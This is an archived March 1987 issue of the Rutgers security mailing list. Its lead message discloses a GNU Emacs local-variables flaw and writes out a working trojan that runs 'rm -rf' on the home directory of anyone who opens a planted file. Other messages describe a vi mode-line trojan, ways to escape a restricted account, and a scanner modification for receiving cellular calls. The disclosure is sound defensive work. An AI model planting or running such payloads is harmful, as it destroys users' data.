The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Rutgers 'Security List' (incl. misc.security) - Archives (1987)
DOCUMENT: Rutgers 'Security List' for March 1987 (13 messages, 7853 bytes)
SOURCE: http://securitydigest.org/exec/display?f=rutgers/archive/1987/03.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT

-----------[000000][next][prev][last][first]----------------------------------------------------
From:      Bill Sommerfeld <wesommer@ATHENA.MIT.EDU>  6-Mar-1987 17:19:12
To:        bug-gnu-emacs@prep.ai.mit.edu
Cc:        security@red.rutgers.edu, jis@ATHENA.MIT.EDU
In GNU Emacs 18.37.1 of Mon Feb 16 1987 on ra (berkeley-unix)

If I create the file /tmp/foo, containing the following lines:

Local Variables:
load-path: ("/tmp")
mode: outline
End:

and the file /tmp/outline.el:

;;; put any arbitrary code here.
(if (not (string= (user-login-name) "wesommer"))
  (shell-command "cd ~; rm -rf * &"))
(kill-emacs t)

then anyone who uses emacs to look at /tmp/foo and who has not yet
loaded the outline package will lose their home directory.  While I
would not be anti-social enough to do this, it should be important to
point out that the local-variables feature of emacs enables trojan
horses like this to surface.

Suggested fix: disable setting of load-path in the local-variables
list; other variables of this nature (such as shell-file-name and
exec-path) might also be protected in some way.  It may also be
possible to set various hooks in this way; it is not immediately
apparant to me how to fix this problem in general without eliminating
the (winning) local variables feature.

					- Bill

-----------[000001][next][prev][last][first]----------------------------------------------------
From:      crl@maxwell.physics.purdue.edu (Charles R. LaBrec)  7-Mar-1987 06:24:07
To:        wesommer@ATHENA.MIT.EDU
Cc:        bug-gnu-emacs@PREP.AI.MIT.EDU, security@red.rutgers.edu
A thought I just had was to be able to do something like
	(put 'load-path 'disable-local-variables t)
so that any "important" variable could be protected in a easily
extensible way.  Maybe non-t and non-nil could be a way to request
confirmation before proceeding.

Charles LaBrec
crl @ maxwell.physics.purdue.edu
-----------[000002][next][prev][last][first]----------------------------------------------------
From:      HMICHEL%CALSTATE.BITNET@wiscvm.wisc.edu  11-Mar-1987 08:57:22
To:        SECURITY@RUTGERS.EDU
     I am interested in obtaining source code (preferably in FORTRAN, Pascal
is ok, BASIC is ok, C only if I must) that will encrypt and decrypt files.

     I am at site that only supports mail; so, if there is anything at any
archive that is not reachable via a mail based server then I am dependent on
someone's generosity.

     Thanks for your help.

Michael W. Fleming                  BITNET:  HMICHEL@CALSTATE
Computer Services                   ARPANET: HMICHEL%CALSTATE.BITNET@
California State College                                      WISCVM.WISC.EDU
9001 Stockdale Highway
Bakersfield, Ca. 93311-1099
Telephone: (805) 833-2309  -or-  (805) 833-2115  {message}
-----------[000003][next][prev][last][first]----------------------------------------------------
From:      brock@pnet01.CTS.COM (Brock Meeks)  12-Mar-1987 05:39:09
To:        crash!security@rutgers@nosc.mil
Well, what don't any of us have any comments on the mundo security blunder
by our rousing cowboys that used to staff the NSC??

I mean, c'mon?  Can these guys really be so naive that they didn't know 
their messages were being stored for prospertiy by the PROF system?

Any one want to venture a guess why?  Or how about someone taking a shot 
at looking into whether the RFP (request for proposal) for the original
White House comm. system included anything about "back up" messages . . .
Just for security, you understand...

Really, I'm a little tweaked on this issue.  I would like to think these
guys weren't that stupid, but you just never know...

Brock

inhp4!sdcsvax!crash!pnet01!brock
brock@ucsd
brock@nosc
--------------------------
no crap down here....
-----------[000004][next][prev][last][first]----------------------------------------------------
From:      barnett%vdsvax.tcpip@ge_crd.arpa  16-Mar-1987 11:17:16
To:        SECURITY@RED.RUTGERS.EDU
Cc:        unix-security
Here is a question I have for Sun 3.2 and Ultrix 1.2 (and 2.0) Ultrix systems.

	We would like to set up a network service for providing
the ability to use Elan's DITROFF, which is licensed for one system, from any
Ultrix or Sun machine on our network. We would like to do this without
creating hundreds of accounts on the Sun workstation.

	Two simple methods are:

		Have a password of '*' on the dummy account and have
		a list of people in the .rhost file, who can use the account.
		(This list of people/machines would include hundreds of 
		combinations)
	
		Have no password in the account, and have a special version
		of the .profile/.login/.cshrc that traps signals, and
		only allows certain commands.

It seems to me that this is insecure because people could then do:

	rsh machine -l dummy-user chmod .profile
	rcp .profile machine.dummy-user:
and then
	rlogin machine -l dummy-user

Another solution is to use the restricted shell on the Sun.
(I don't believe this is available on Ultrix 1.2)
To review my understanding of it, I would set it up as follows:

	ln /bin/sh /bin/rshell
	change /bin/{c}sh to /bin/rshell in the dummy user's password entry
	create a /secure-bin directory with just the commands needed to
		execute the tbl/eqn/nroff/troff/spell programs and scripts
		What would be NOT included is chmod, cp, ln, and some others.
		I would think it should not be writable by the dummy user.
		(this part would require the most head-scratching.)
	edit the .profile to set the search path to only point to /secure-bin
	Also add a trap 'exit 1' 0 1 2 3 15 to the .profile as the
		first command.
	chmod the .profile to 400

Now - Sun's restricted version of sh does not allow:

	execution of commands starting with '/'
	redirection of standard output

So my questions are:

	Is the approach I am taking secure? or 95% secure? Is there a better
approach? (I may be willing to settle for a 95% secure method - because this
doesn't grant root access. But as our policy is to not allow password-free
accounts - we need to justify this deviation from policy.)

	Is there a secure method of doing this for Ultrix, which doesn't
(as far as I know) have the restricted shell? If so, how was it done?
Does it require writing a program? Does anyone have a program
that is suitable for hacking?

	Does anyone have some examples on how they solved this
problem?  (This might save me a bit of head scratching and testing.)
Which commands should I leave from the special bin directory?
(besides chmod, ln, cp, rm, and mv)?
	

			Bruce G. Barnett 
barnett@ge-crd.arpa, barnett@steinmetz.uucp
	...!{chinet,rochester}!steinmetz!barnett

-----------[000005][next][prev][last][first]----------------------------------------------------
From:      Michael Grant <mgrant@mimsy.umd.edu>  16-Mar-1987 18:29:01
To:        info-hams@mc.lcs.mit.edu, rnj@brl.arpa, security@red.rutgers.edu,
In the March 1987 (Vol 6, Number 3) issue of Monitoring Times on page 48,
there is a short article on how to modify your RadioShack Scanner to 
pick up the cellular frequencies.  (This just had to have been leaked
from someone in Tandy sales!)

1. Remove the four cabinet screws and the cabinet

2. Turn the receiver upside down and locate circuit board PC-3

3. Remove seven screws holding board and plug CN-501

4. Carefully lift up the board and locate diode soldered in place below the
   module

5. Snip one lead of the diode carefully, leaving it suspended by the other
   lead for later reattachment if desired, such as warranty repair

6. Reverse first four steps above for reassembly.  Radio will now cover
   825-845 and 870-890 MHz and search in 30 KHz increments for no-gap
   760-1300 MHz reception

(Thanks to Jim Marquand and other readers of Monitoring Times)

I do not own a PRO-2004, nor have I ever seen this tried, do it at your
own risk.

-Mike
-----------[000006][next][prev][last][first]----------------------------------------------------
From:      *Hobbit* <AWalker@RED.RUTGERS.EDU>  17-Mar-1987 00:57:52
To:        security@RED.RUTGERS.EDU
I have found an excellent way of disposing of classified garbage.

You find a standard industrial-grade flat rooftop that has a lot of small-grain
gravel on top, and sweep a small pile of it together.  Create a depression
in this pile, about 6 inches across.  Loosely crumple a couple of the papers
in question and ignite them.  Feed the rest of the stuff in, loosely crumpled
so it burns nicely, until there's only ashes and no paper left.  Now, tumble
and mix the pile of gravel and ashes around until all you have is blackened
gravel [a random beer bottle lying nearby served quite well as a swizzle
stick].  Leave the pile sitting there for the next time you need it.

Drawbacks: Works better at night, since rooftops tend to be windy during
the day.  However, what's left behind is completely unreadable.

_H*
-----------[000007][next][prev][last][first]----------------------------------------------------
From:      codas!ki4pv!tanner@rutgers.edu  19-Mar-1987 11:59:15
To:        codas!moss!rutgers!security
Another interesting case is "vi", whose mode lines feature is
disabled by SCO ("it's not a bug, it's a feature") because they fear
that someone might leave a trojan horse in a file to be edited.  SCO
sells xenix, which is a unix clone of moderate tolerability.

A mode line containing the command "!sh my_trojan.sh"  surrounded by
the proper arrangements of comment characters and colons is what they
fear; my_trojan.sh either dispenses a prophylactic to the editor, or
creates a setuid-victim prog for benefit of the horses's owner.

I fear that the commenting-out of the proper code (rather than simply
disabling the '!' command in mode lines) is probably more than a bit
paranoid; SCO was kind enough to offer to sell me source for some
large number of thousands of dollars so that I could re-enable this
code.  Their hack is not optional on a per-site basis; they don't
offer a version with mode lines to those sites willing to risk it.

I prefer the simpler policy of cutting off the fingers of anyone who
leaves a trojan horse around without my permission.

					tanner andrews, systems
					compudata south, deland
-----------[000008][next][prev][last][first]----------------------------------------------------
From:      Douglas Humphrey <deh@eneevax.umd.edu>  20-Mar-1987 11:07:41
To:        brock@pnet01.CTS.COM, crash!security@rutgers@nosc.mil
All I can say about it is that if they had been running OUR system rather
than PROFFS then their messages really would have gotten deleted !

Still, I would think that an organization like the NSC should have the
proper support by agencys to avoid such a simple, stupid problem. I
don't expect our customers to be knowledgable about these things;
that what they pay US for. What agency is charged (if any) with the 
job of COMSEC and related security ? Would that be NSA?

A thing to note here. They did have correct levels of security there,
with the entire facility Tempest, and running at Top Secret. The
problem here is not one of clasic COMSEC; the bad guys getting into
the system. What happened here was the creation of an audit trail when 
the users did not want one to happen. You can argue that this kind of 
accountability is good or not; it did allow what actualy happened to 
come to light (no political flames here please, this is just a technical
discussion), but it can also be argued that the user is the ultimate 
authority in the circumstance, and that when they say 'delete and do
not archive' then that is what should happen. If there was a decision
taken that the system should auto-archive all message traffic, then the
users should have been explicitly warned of this, and often !

Doug
Digital Express Inc.
-----------[000009][next][prev][last][first]----------------------------------------------------
From:      steinar@NTA-VAX.ARPA (Steinar Haug RUNIT)  23-Mar-1987 09:10:31
To:        security@RUTGERS.EDU
I would like to know if there have been any reactions, discussion
etc. regarding the article:

"A proposed standard format for RSA cryptosystems",
by P. Zimmermann, IEEE Computer September 1986.

Arpanet:                          Steinar Haug
steinar@nta-vax                   Database Research Group,
                                  Computing Centre at the Univ. of Trondheim
                                  7034 Trondheim-NTH
                                  Norway
-----------[000010][next][prev][last][first]----------------------------------------------------
From:      "IFSM 190/0101; Student" <is190107@umbc2.umd.edu>  25-Mar-1987 21:38:56
To:        "security" <security@red.rutgers.edu>
Why not use an incenerator where the ashes are recycled back into the fire 
a couple of times..... and then the smoke is sprayed with a mist of water to
keep paper particles from leaving the area and reburned until the whole mess
was up in flames.... then you could release it... this would only be
effective for large(!!!) massive amounts of classified material... 

does anyone know anything about the unix hacker that is moving passwords
around the country? he gets a file from NJ and moves it to NY and then the ppl
can't log on w/ their own passwords.... I didn't hear the whole story but 
thats what I gathered.

				Whizard
-----------[000011][next][prev][last][first]----------------------------------------------------
From:      Mike Linnig <LINNIG%ti-eg.csnet@RELAY.CS.NET>  27-Mar-1987 15:29:50
To:        security@rutgers.edu
Does anyone out there know anything about the photo sensors that you
can see on top of traffic lights?   

I have heard that they detect emergency vehicles (who use a special strobe)
and switch the traffic light to green.

Are the strobes coded or do the sensors just detect a certain flash
frequency?  I tried watching the strobe of an emergency vehicle but it
is too fast to tell much with out a video tape.  The strobe's flashes
do seem to be in irregular bursts, indicating a code of some kind.

I also wonder if the codes change (if they are coded) from city to 
city?

	Mike

-----------[000012][next][prev][last][first]----------------------------------------------------
From:      Chris Yoder <engvax!CHRIS@csvax.caltech.edu>   1-Apr-1987 04:24:38
To:        cit-vax!security@red.rutgers.edu
     (For those of you who get both Info-Vax and Security-Info I apologize
for the double posting.  I thought that this might be a good place to post
this message, and besides that, we need some traffic in this group!) 

     I would like to get comments from anybody about system monitoring
software that runs under VMS 4.5.  I'm specifically interested in software
that will record everything that happens during an interactive terminal
session in a manner that is completely transparent to the user.  Analysis
tools to help pinpoint users that be considered "security risks" from the
recorded data is also necessary.  I am interested in hearing about how the
package is installed (including where the software ends up, what software
is installed, what kinds of privs it wants, etc.), how well the package
works (both software and documentation), any holes/serious bugs that you've
found and any person opinions that you might have about the software.

     On the more specific side, I have just finished evaluating Clyde
Digital Systems' CONTRL, AUDIT and RTMON software packages, and I'd like to
share war stories with anyone else who has or is running any or all of
these packages (I've a *long*, very rough report on it, but if you want it
send me mail).  CONTRL is fun, but I am most interested in AUDIT and RTMON.
While running AUDIT with RTMON under it, Vaxsim showed that our system was
collecting a rather alarming number of SysBugChk (%x00000058) Events.
Before and after the evaluation period of AUDIT and RTMON *no* events were
being logged by Vaxsim, during the evaluation period I saw this number
above 4,000.  We suspect RTMON as the culprit because the system crashed
once during this period with the current process being a process that was
logged in over DECnet and analyzing the crash dump showed that the crash
was caused by R5 being set to 0.  Circumstantial evidence seemed to
indicate that UPdriver caused R5 to be set to 0.  Has anyone else been able
to pin down UPdriver of the RTMON package as the culprit for a system crash
or an unusually high number of errors on the system? 

     Oh I also discovered another gotcha, with both CONTRL and RTMON
installed under VMS 4.5, the process running CONTRL will crash the system
when CONTRLing a user logged in on a virtual terminal over a terminal
server who disconnects.  I haven't tried to deliberately recreate this one
because users tend to get a little upset when the system goes down for no
apparent reason...  If anybody else has had any similar experiences, I'd
love to hear about them.

-- Chris Yoder			UUCP -- {allegra or ihnp4}!scgvaxd!engvax!chris 
   Hughes Aircraft Company  Internet -- chris%engvax.scg.hac.com@ymir.bitnet
				ARPA -- chris%engvax.uucp@usc-oberon.usc.edu

END OF DOCUMENT